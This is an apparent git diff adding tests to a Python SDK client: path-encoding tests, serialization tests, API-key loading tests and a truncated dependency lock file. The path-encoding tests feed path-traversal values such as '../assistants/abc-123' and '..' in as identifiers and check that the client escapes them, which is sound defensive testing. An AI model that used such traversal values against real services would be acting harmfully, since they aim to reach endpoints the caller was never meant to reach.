wire[len("/threads/") :] + assert "/" not in segment + + async def test_assistants_get_with_pivot_payload_stays_on_assistants( + self, + ) -> None: + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"assistant_id": "anything"}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + assistants_client = AssistantsClient(HttpClient(client)) + await assistants_client.get("../threads/abc-123") + + assert len(captured) == 1 + wire = captured[0] + assert wire.startswith("/assistants/") + segment = wire[len("/assistants/") :] + assert "/" not in segment + + async def test_runs_delete_double_id_pivot_stays_on_threads_runs(self) -> None: + captured: list[tuple[str, str]] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append((request.method, _wire_path(request))) + return httpx.Response(200) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + runs_client = RunsClient(HttpClient(client)) + # Both identifier values supplied as path-traversal payloads. + await runs_client.delete("..", "../runs/crons/cron-id") + + assert len(captured) == 1 + method, wire = captured[0] + assert method == "DELETE" + # The path should match `/threads/{quoted_thread}/runs/{quoted_run}` + # exactly. Neither segment should contain literal slashes. + assert wire.startswith("/threads/") + assert "/runs/crons/" not in wire + parts = wire.split("/") + # Expected shape: ['', 'threads', '', 'runs', ''] + assert len(parts) == 5 + assert parts[1] == "threads" + assert parts[3] == "runs" + # Encoded thread_id and run_id are between literal slashes. + assert parts[2] == "%2E%2E" + assert parts[4] == "..%2Fruns%2Fcrons%2Fcron-id" + + async def test_crons_delete_with_pivot_payload_stays_on_crons(self) -> None: + captured: list[tuple[str, str]] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append((request.method, _wire_path(request))) + return httpx.Response(200) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + crons_client = CronClient(HttpClient(client)) + await crons_client.delete("../../assistants/abc-123") + + assert len(captured) == 1 + method, wire = captured[0] + assert method == "DELETE" + assert wire.startswith("/runs/crons/") + segment = wire[len("/runs/crons/") :] + assert "/" not in segment + + async def test_threads_get_state_with_pivot_checkpoint_id_stays_on_state( + self, + ) -> None: + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.get_state(thread_id="tid-1", checkpoint_id="../runs") + + assert len(captured) == 1 + wire = captured[0] + # Wire path must stay on `/threads/{tid}/state/...`, not pivot to + # `/threads/tid-1/runs`. + assert wire.startswith("/threads/tid-1/state/") + # Strip query string before checking the checkpoint segment. + path_only = wire.split("?", 1)[0] + segment = path_only[len("/threads/tid-1/state/") :] + assert "/" not in segment + assert segment == "..%2Fruns" + + async def test_assistants_get_subgraphs_with_pivot_namespace_stays_on_subgraphs( + self, + ) -> None: + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + assistants_client = AssistantsClient(HttpClient(client)) + await assistants_client.get_subgraphs("aid-1", namespace="../foo") + + assert len(captured) == 1 + wire = captured[0] + # Wire path must stay on `/assistants/{aid}/subgraphs/...`. + assert wire.startswith("/assistants/aid-1/subgraphs/") + # Strip query string before checking the namespace segment. + path_only = wire.split("?", 1)[0] + segment = path_only[len("/assistants/aid-1/subgraphs/") :] + assert "/" not in segment + assert segment == "..%2Ffoo" + + async def test_bare_double_dot_thread_id_survives_to_wire(self) -> None: + """The all-dot encoding branch must survive httpx's relative-path collapse.""" + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.get("..") + + assert len(captured) == 1 + # The all-dot identifier is fully percent-encoded so httpx does NOT + # collapse it client-side as a relative-path traversal. + assert captured[0].endswith("/threads/%2E%2E") + + async def test_bare_single_dot_thread_id_survives_to_wire(self) -> None: + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.get(".") + + assert len(captured) == 1 + assert captured[0].endswith("/threads/%2E") + + async def test_uuid_identifier_lands_on_intended_path(self) -> None: + """Legitimate UUID identifiers round-trip without encoding artifacts.""" + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.get("550e8400-e29b-41d4-a716-446655440000") + + assert captured == ["/threads/550e8400-e29b-41d4-a716-446655440000"] + + +class TestSyncPathEncoding: + """Sync-client tests that mirror the async coverage on a representative subset.""" + + def test_threads_get_with_pivot_payload_stays_on_threads(self) -> None: + captured: list[str] = [] + + def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + with httpx.Client( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = SyncThreadsClient(SyncHttpClient(client)) + threads_client.get("../assistants/abc-123") + + assert len(captured) == 1 + wire = captured[0] + assert wire.startswith("/threads/") + segment = wire[len("/threads/") :] + assert "/" not in segment + assert segment == "..%2Fassistants%2Fabc-123" + + def test_assistants_get_with_pivot_payload_stays_on_assistants(self) -> None: + captured: list[str] = [] + + def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"assistant_id": "anything"}) + + transport = httpx.MockTransport(handler) + with httpx.Client( + transport=transport, base_url="https://example.com" + ) as client: + assistants_client = SyncAssistantsClient(SyncHttpClient(client)) + assistants_client.get("../threads/abc-123") + + assert len(captured) == 1 + wire = captured[0] + assert wire.startswith("/assistants/") + segment = wire[len("/assistants/") :] + assert "/" not in segment + + def test_runs_delete_double_id_pivot_stays_on_threads_runs(self) -> None: + captured: list[tuple[str, str]] = [] + + def handler(request: httpx.Request) -> httpx.Response: + captured.append((request.method, _wire_path(request))) + return httpx.Response(200) + + transport = httpx.MockTransport(handler) + with httpx.Client( + transport=transport, base_url="https://example.com" + ) as client: + runs_client = SyncRunsClient(SyncHttpClient(client)) + runs_client.delete("..", "../runs/crons/cron-id") + + assert len(captured) == 1 + method, wire = captured[0] + assert method == "DELETE" + assert wire.startswith("/threads/") + assert "/runs/crons/" not in wire + parts = wire.split("/") + assert len(parts) == 5 + assert parts[1] == "threads" + assert parts[3] == "runs" + assert parts[2] == "%2E%2E" + assert parts[4] == "..%2Fruns%2Fcrons%2Fcron-id" + + def test_crons_delete_with_pivot_payload_stays_on_crons(self) -> None: + captured: list[tuple[str, str]] = [] + + def handler(request: httpx.Request) -> httpx.Response: + captured.append((request.method, _wire_path(request))) + return httpx.Response(200) + + transport = httpx.MockTransport(handler) + with httpx.Client( + transport=transport, base_url="https://example.com" + ) as client: + crons_client = SyncCronClient(SyncHttpClient(client)) + crons_client.delete("../../assistants/abc-123") + + assert len(captured) == 1 + method, wire = captured[0] + assert method == "DELETE" + assert wire.startswith("/runs/crons/") + segment = wire[len("/runs/crons/") :] + assert "/" not in segment + + def test_uuid_identifier_lands_on_intended_path(self) -> None: + captured: list[str] = [] + + def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + with httpx.Client( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = SyncThreadsClient(SyncHttpClient(client)) + threads_client.get("550e8400-e29b-41d4-a716-446655440000") + + assert captured == ["/threads/550e8400-e29b-41d4-a716-446655440000"] diff --git a/libs/sdk-py/tests/test_serde.py b/libs/sdk-py/tests/test_serde.py new file mode 100644 index 0000000..5678e52 --- /dev/null +++ b/libs/sdk-py/tests/test_serde.py @@ -0,0 +1,62 @@ +from typing import Any + +import orjson +import pytest +from pydantic import BaseModel + +from langgraph_sdk.client import _aencode_json + + +async def _serde_roundtrip(data: Any): + _, body = await _aencode_json(data) + return orjson.loads(body) # ty: ignore[invalid-argument-type] + + +async def test_serde_basic(): + # Test basic serialization + data = {"key": "value", "number": 42} + assert await _serde_roundtrip(data) == data + + +async def test_serde_pydantic(): + # Test serialization with Pydantic model (if available) + + class TestModel(BaseModel): + name: str + age: int + + model = TestModel(name="test", age=25) + result = await _serde_roundtrip(model) + assert result["name"] == "test" + assert result["age"] == 25 + + nested_result = await _serde_roundtrip({"data": model}) + assert nested_result["data"]["name"] == "test" + assert nested_result["data"]["age"] == 25 + + +async def test_serde_dataclass(): + from dataclasses import dataclass + + @dataclass + class TestDataClass: + name: str + age: int + + data = TestDataClass(name="test", age=25) + result = await _serde_roundtrip(data) + assert result["name"] == "test" + assert result["age"] == 25 + + nested_result = await _serde_roundtrip({"data": data}) + assert nested_result["data"]["name"] == "test" + assert nested_result["data"]["age"] == 25 + + +async def test_serde_pydantic_cls_fails(): + # Test that serialization fails gracefully for Pydantic model when not available + class TestModel(BaseModel): + name: str + + with pytest.raises(TypeError, match="Type is not JSON serializable"): + await _serde_roundtrip({"foo": TestModel}) diff --git a/libs/sdk-py/tests/test_serde_schema.py b/libs/sdk-py/tests/test_serde_schema.py new file mode 100644 index 0000000..7b868c0 --- /dev/null +++ b/libs/sdk-py/tests/test_serde_schema.py @@ -0,0 +1,30 @@ +from dataclasses import dataclass +from typing import runtime_checkable + +from pydantic import BaseModel + +from langgraph_sdk.schema import ( + _BaseModelLike, + _DataclassLike, +) + + +def rc(cls: type) -> type: + return runtime_checkable(cls) + + +class MyModel(BaseModel): + foo: str + + +def test_base_model_like(): + assert isinstance(MyModel(foo="test"), rc(_BaseModelLike)) + + +@dataclass +class MyDataclass: + foo: str + + +def test_dataclass_like(): + assert isinstance(MyDataclass(foo="test"), rc(_DataclassLike)) diff --git a/libs/sdk-py/tests/test_skip_auto_load_api_key.py b/libs/sdk-py/tests/test_skip_auto_load_api_key.py new file mode 100644 index 0000000..4ac3b74 --- /dev/null +++ b/libs/sdk-py/tests/test_skip_auto_load_api_key.py @@ -0,0 +1,70 @@ +"""Tests for api_key parameter behavior.""" + +import pytest + +from langgraph_sdk import get_client, get_sync_client + + +class TestSkipAutoLoadApiKey: + """Test the api_key parameter's auto-loading behavior.""" + + @pytest.mark.asyncio + async def test_get_client_loads_from_env_by_default(self, monkeypatch): + """Test that API key is loaded from environment by default.""" + monkeypatch.setenv("LANGGRAPH_API_KEY", "test-key-from-env") + + client = get_client(url="http://localhost:8123") + assert "x-api-key" in client.http.client.headers + assert client.http.client.headers["x-api-key"] == "test-key-from-env" + await client.aclose() + + @pytest.mark.asyncio + async def test_get_client_skips_env_when_sentinel_used(self, monkeypatch): + """Test that API key is not loaded from environment when None is explicitly passed.""" + monkeypatch.setenv("LANGGRAPH_API_KEY", "test-key-from-env") + + client = get_client(url="http://localhost:8123", api_key=None) + assert "x-api-key" not in client.http.client.headers + await client.aclose() + + @pytest.mark.asyncio + async def test_get_client_uses_explicit_key_when_provided(self, monkeypatch): + """Test that explicit API key takes precedence over environment.""" + monkeypatch.setenv("LANGGRAPH_API_KEY", "test-key-from-env") + + client = get_client( + url="http://localhost:8123", + api_key="explicit-key", + ) + assert "x-api-key" in client.http.client.headers + assert client.http.client.headers["x-api-key"] == "explicit-key" + await client.aclose() + + def test_get_sync_client_loads_from_env_by_default(self, monkeypatch): + """Test that sync client loads API key from environment by default.""" + monkeypatch.setenv("LANGGRAPH_API_KEY", "test-key-from-env") + + client = get_sync_client(url="http://localhost:8123") + assert "x-api-key" in client.http.client.headers + assert client.http.client.headers["x-api-key"] == "test-key-from-env" + client.close() + + def test_get_sync_client_skips_env_when_sentinel_used(self, monkeypatch): + """Test that sync client doesn't load from environment when None is explicitly passed.""" + monkeypatch.setenv("LANGGRAPH_API_KEY", "test-key-from-env") + + client = get_sync_client(url="http://localhost:8123", api_key=None) + assert "x-api-key" not in client.http.client.headers + client.close() + + def test_get_sync_client_uses_explicit_key_when_provided(self, monkeypatch): + """Test that sync client uses explicit API key when provided.""" + monkeypatch.setenv("LANGGRAPH_API_KEY", "test-key-from-env") + + client = get_sync_client( + url="http://localhost:8123", + api_key="explicit-key", + ) + assert "x-api-key" in client.http.client.headers + assert client.http.client.headers["x-api-key"] == "explicit-key" + client.close() diff --git a/libs/sdk-py/tests/test_threads_client.py b/libs/sdk-py/tests/test_threads_client.py new file mode 100644 index 0000000..34e8040 --- /dev/null +++ b/libs/sdk-py/tests/test_threads_client.py @@ -0,0 +1,58 @@ +from __future__ import annotations + +import json + +import httpx +import pytest + +from langgraph_sdk.client import ( + HttpClient, + SyncHttpClient, + SyncThreadsClient, + ThreadsClient, +) + + +@pytest.mark.asyncio +async def test_async_threads_update_return_minimal(): + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/threads/thread_123" + assert request.headers["Prefer"] == "return=minimal" + assert json.loads(request.content) == {"metadata": {"foo": "bar"}} + return httpx.Response(204) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + threads_client = ThreadsClient(http_client) + result = await threads_client.update( + "thread_123", + metadata={"foo": "bar"}, + return_minimal=True, + ) + + assert result is None + + +def test_sync_threads_update_return_minimal(): + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/threads/thread_123" + assert request.headers["Prefer"] == "return=minimal" + assert json.loads(request.content) == {"metadata": {"foo": "bar"}} + return httpx.Response(204) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + threads_client = SyncThreadsClient(http_client) + result = threads_client.update( + "thread_123", + metadata={"foo": "bar"}, + return_minimal=True, + ) + + assert result is None diff --git a/libs/sdk-py/uv.lock b/libs/sdk-py/uv.lock new file mode 100644 index 0000000..786728a --- /dev/null +++ b/libs/sdk-py/uv.lock @@ -0,0 +1,1538 @@ +version = 1 +revision = 3 +requires-python = ">=3.10" +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version < '3.15'", +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" }, +] + +[[package]] +name = "backports-asyncio-runner" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/ff/70dca7d7cb1cbc0edb2c6cc0c38b65cba36cccc491eca64cabd5fe7f8670/backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162", size = 69893, upload-time = "2025-07-02T02:27:15.685Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/59/76ab57e3fe74484f48a53f8e337171b4a2349e506eabe136d7e01d059086/backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5", size = 12313, upload-time = "2025-07-02T02:27:14.263Z" }, +] + +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/60/e3bec1881450851b087e301bedc3daa9377a4d45f1c26aa90b0b235e38aa/charset_normalizer-3.4.6.tar.gz", hash = "sha256:1ae6b62897110aa7c79ea2f5dd38d1abca6db663687c0b1ad9aed6f6bae3d9d6", size = 143363, upload-time = "2026-03-15T18:53:25.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/8c/2c56124c6dc53a774d435f985b5973bc592f42d437be58c0c92d65ae7296/charset_normalizer-3.4.6-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2e1d8ca8611099001949d1cdfaefc510cf0f212484fe7c565f735b68c78c3c95", size = 298751, upload-time = "2026-03-15T18:50:00.003Z" }, + { url = "https://files.pythonhosted.org/packages/86/2a/2a7db6b314b966a3bcad8c731c0719c60b931b931de7ae9f34b2839289ee/charset_normalizer-3.4.6-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e25369dc110d58ddf29b949377a93e0716d72a24f62bad72b2b39f155949c1fd", size = 200027, upload-time = "2026-03-15T18:50:01.702Z" }, + { url = "https://files.pythonhosted.org/packages/68/f2/0fe775c74ae25e2a3b07b01538fc162737b3e3f795bada3bc26f4d4d495c/charset_normalizer-3.4.6-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:259695e2ccc253feb2a016303543d691825e920917e31f894ca1a687982b1de4", size = 220741, upload-time = "2026-03-15T18:50:03.194Z" }, + { url = "https://files.pythonhosted.org/packages/10/98/8085596e41f00b27dd6aa1e68413d1ddda7e605f34dd546833c61fddd709/charset_normalizer-3.4.6-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dda86aba335c902b6149a02a55b38e96287157e609200811837678214ba2b1db", size = 215802, upload-time = "2026-03-15T18:50:05.859Z" }, + { url = "https://files.pythonhosted.org/packages/fd/ce/865e4e09b041bad659d682bbd98b47fb490b8e124f9398c9448065f64fee/charset_normalizer-3.4.6-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:51fb3c322c81d20567019778cb5a4a6f2dc1c200b886bc0d636238e364848c89", size = 207908, upload-time = "2026-03-15T18:50:07.676Z" }, + { url = "https://files.pythonhosted.org/packages/a8/54/8c757f1f7349262898c2f169e0d562b39dcb977503f18fdf0814e923db78/charset_normalizer-3.4.6-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:4482481cb0572180b6fd976a4d5c72a30263e98564da68b86ec91f0fe35e8565", size = 194357, upload-time = "2026-03-15T18:50:09.327Z" }, + { url = "https://files.pythonhosted.org/packages/6f/29/e88f2fac9218907fc7a70722b393d1bbe8334c61fe9c46640dba349b6e66/charset_normalizer-3.4.6-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:39f5068d35621da2881271e5c3205125cc456f54e9030d3f723288c873a71bf9", size = 205610, upload-time = "2026-03-15T18:50:10.732Z" }, + { url = "https://files.pythonhosted.org/packages/4c/c5/21d7bb0cb415287178450171d130bed9d664211fdd59731ed2c34267b07d/charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8bea55c4eef25b0b19a0337dc4e3f9a15b00d569c77211fa8cde38684f234fb7", size = 203512, upload-time = "2026-03-15T18:50:12.535Z" }, + { url = "https://files.pythonhosted.org/packages/a4/be/ce52f3c7fdb35cc987ad38a53ebcef52eec498f4fb6c66ecfe62cfe57ba2/charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f0cdaecd4c953bfae0b6bb64910aaaca5a424ad9c72d85cb88417bb9814f7550", size = 195398, upload-time = "2026-03-15T18:50:14.236Z" }, + { url = "https://files.pythonhosted.org/packages/81/a0/3ab5dd39d4859a3555e5dadfc8a9fa7f8352f8c183d1a65c90264517da0e/charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:150b8ce8e830eb7ccb029ec9ca36022f756986aaaa7956aad6d9ec90089338c0", size = 221772, upload-time = "2026-03-15T18:50:15.581Z" }, + { url = "https://files.pythonhosted.org/packages/04/6e/6a4e41a97ba6b2fa87f849c41e4d229449a586be85053c4d90135fe82d26/charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e68c14b04827dd76dcbd1aeea9e604e3e4b78322d8faf2f8132c7138efa340a8", size = 205759, upload-time = "2026-03-15T18:50:17.047Z" }, + { url = "https://files.pythonhosted.org/packages/db/3b/34a712a5ee64a6957bf355b01dc17b12de457638d436fdb05d01e463cd1c/charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:3778fd7d7cd04ae8f54651f4a7a0bd6e39a0cf20f801720a4c21d80e9b7ad6b0", size = 216938, upload-time = "2026-03-15T18:50:18.44Z" }, + { url = "https://files.pythonhosted.org/packages/cb/05/5bd1e12da9ab18790af05c61aafd01a60f489778179b621ac2a305243c62/charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:dad6e0f2e481fffdcf776d10ebee25e0ef89f16d691f1e5dee4b586375fdc64b", size = 210138, upload-time = "2026-03-15T18:50:19.852Z" }, + { url = "https://files.pythonhosted.org/packages/bd/8e/3cb9e2d998ff6b21c0a1860343cb7b83eba9cdb66b91410e18fc4969d6ab/charset_normalizer-3.4.6-cp310-cp310-win32.whl", hash = "sha256:74a2e659c7ecbc73562e2a15e05039f1e22c75b7c7618b4b574a3ea9118d1557", size = 144137, upload-time = "2026-03-15T18:50:21.505Z" }, + { url = "https://files.pythonhosted.org/packages/d8/8f/78f5489ffadb0db3eb7aff53d31c24531d33eb545f0c6f6567c25f49a5ff/charset_normalizer-3.4.6-cp310-cp310-win_amd64.whl", hash = "sha256:aa9cccf4a44b9b62d8ba8b4dd06c649ba683e4bf04eea606d2e94cfc2d6ff4d6", size = 154244, upload-time = "2026-03-15T18:50:22.81Z" }, + { url = "https://files.pythonhosted.org/packages/e4/74/e472659dffb0cadb2f411282d2d76c60da1fc94076d7fffed4ae8a93ec01/charset_normalizer-3.4.6-cp310-cp310-win_arm64.whl", hash = "sha256:e985a16ff513596f217cee86c21371b8cd011c0f6f056d0920aa2d926c544058", size = 143312, upload-time = "2026-03-15T18:50:24.074Z" }, + { url = "https://files.pythonhosted.org/packages/62/28/ff6f234e628a2de61c458be2779cb182bc03f6eec12200d4a525bbfc9741/charset_normalizer-3.4.6-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:82060f995ab5003a2d6e0f4ad29065b7672b6593c8c63559beefe5b443242c3e", size = 293582, upload-time = "2026-03-15T18:50:25.454Z" }, + { url = "https://files.pythonhosted.org/packages/1c/b7/b1a117e5385cbdb3205f6055403c2a2a220c5ea80b8716c324eaf75c5c95/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60c74963d8350241a79cb8feea80e54d518f72c26db618862a8f53e5023deaf9", size = 197240, upload-time = "2026-03-15T18:50:27.196Z" }, + { url = "https://files.pythonhosted.org/packages/a1/5f/2574f0f09f3c3bc1b2f992e20bce6546cb1f17e111c5be07308dc5427956/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e4333fb15c83f7d1482a76d45a0818897b3d33f00efd215528ff7c51b8e35d", size = 217363, upload-time = "2026-03-15T18:50:28.601Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d1/0ae20ad77bc949ddd39b51bf383b6ca932f2916074c95cad34ae465ab71f/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bc72863f4d9aba2e8fd9085e63548a324ba706d2ea2c83b260da08a59b9482de", size = 212994, upload-time = "2026-03-15T18:50:30.102Z" }, + { url = "https://files.pythonhosted.org/packages/60/ac/3233d262a310c1b12633536a07cde5ddd16985e6e7e238e9f3f9423d8eb9/charset_normalizer-3.4.6-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9cc4fc6c196d6a8b76629a70ddfcd4635a6898756e2d9cac5565cf0654605d73", size = 204697, upload-time = "2026-03-15T18:50:31.654Z" }, + { url = "https://files.pythonhosted.org/packages/25/3c/8a18fc411f085b82303cfb7154eed5bd49c77035eb7608d049468b53f87c/charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:0c173ce3a681f309f31b87125fecec7a5d1347261ea11ebbb856fa6006b23c8c", size = 191673, upload-time = "2026-03-15T18:50:33.433Z" }, + { url = "https://files.pythonhosted.org/packages/ff/a7/11cfe61d6c5c5c7438d6ba40919d0306ed83c9ab957f3d4da2277ff67836/charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c907cdc8109f6c619e6254212e794d6548373cc40e1ec75e6e3823d9135d29cc", size = 201120, upload-time = "2026-03-15T18:50:35.105Z" }, + { url = "https://files.pythonhosted.org/packages/b5/10/cf491fa1abd47c02f69687046b896c950b92b6cd7337a27e6548adbec8e4/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:404a1e552cf5b675a87f0651f8b79f5f1e6fd100ee88dc612f89aa16abd4486f", size = 200911, upload-time = "2026-03-15T18:50:36.819Z" }, + { url = "https://files.pythonhosted.org/packages/28/70/039796160b48b18ed466fde0af84c1b090c4e288fae26cd674ad04a2d703/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e3c701e954abf6fc03a49f7c579cc80c2c6cc52525340ca3186c41d3f33482ef", size = 192516, upload-time = "2026-03-15T18:50:38.228Z" }, + { url = "https://files.pythonhosted.org/packages/ff/34/c56f3223393d6ff3124b9e78f7de738047c2d6bc40a4f16ac0c9d7a1cb3c/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7a6967aaf043bceabab5412ed6bd6bd26603dae84d5cb75bf8d9a74a4959d398", size = 218795, upload-time = "2026-03-15T18:50:39.664Z" }, + { url = "https://files.pythonhosted.org/packages/e8/3b/ce2d4f86c5282191a041fdc5a4ce18f1c6bd40a5bd1f74cf8625f08d51c1/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5feb91325bbceade6afab43eb3b508c63ee53579fe896c77137ded51c6b6958e", size = 201833, upload-time = "2026-03-15T18:50:41.552Z" }, + { url = "https://files.pythonhosted.org/packages/3b/9b/b6a9f76b0fd7c5b5ec58b228ff7e85095370282150f0bd50b3126f5506d6/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f820f24b09e3e779fe84c3c456cb4108a7aa639b0d1f02c28046e11bfcd088ed", size = 213920, upload-time = "2026-03-15T18:50:43.33Z" }, + { url = "https://files.pythonhosted.org/packages/ae/98/7bc23513a33d8172365ed30ee3a3b3fe1ece14a395e5fc94129541fc6003/charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = 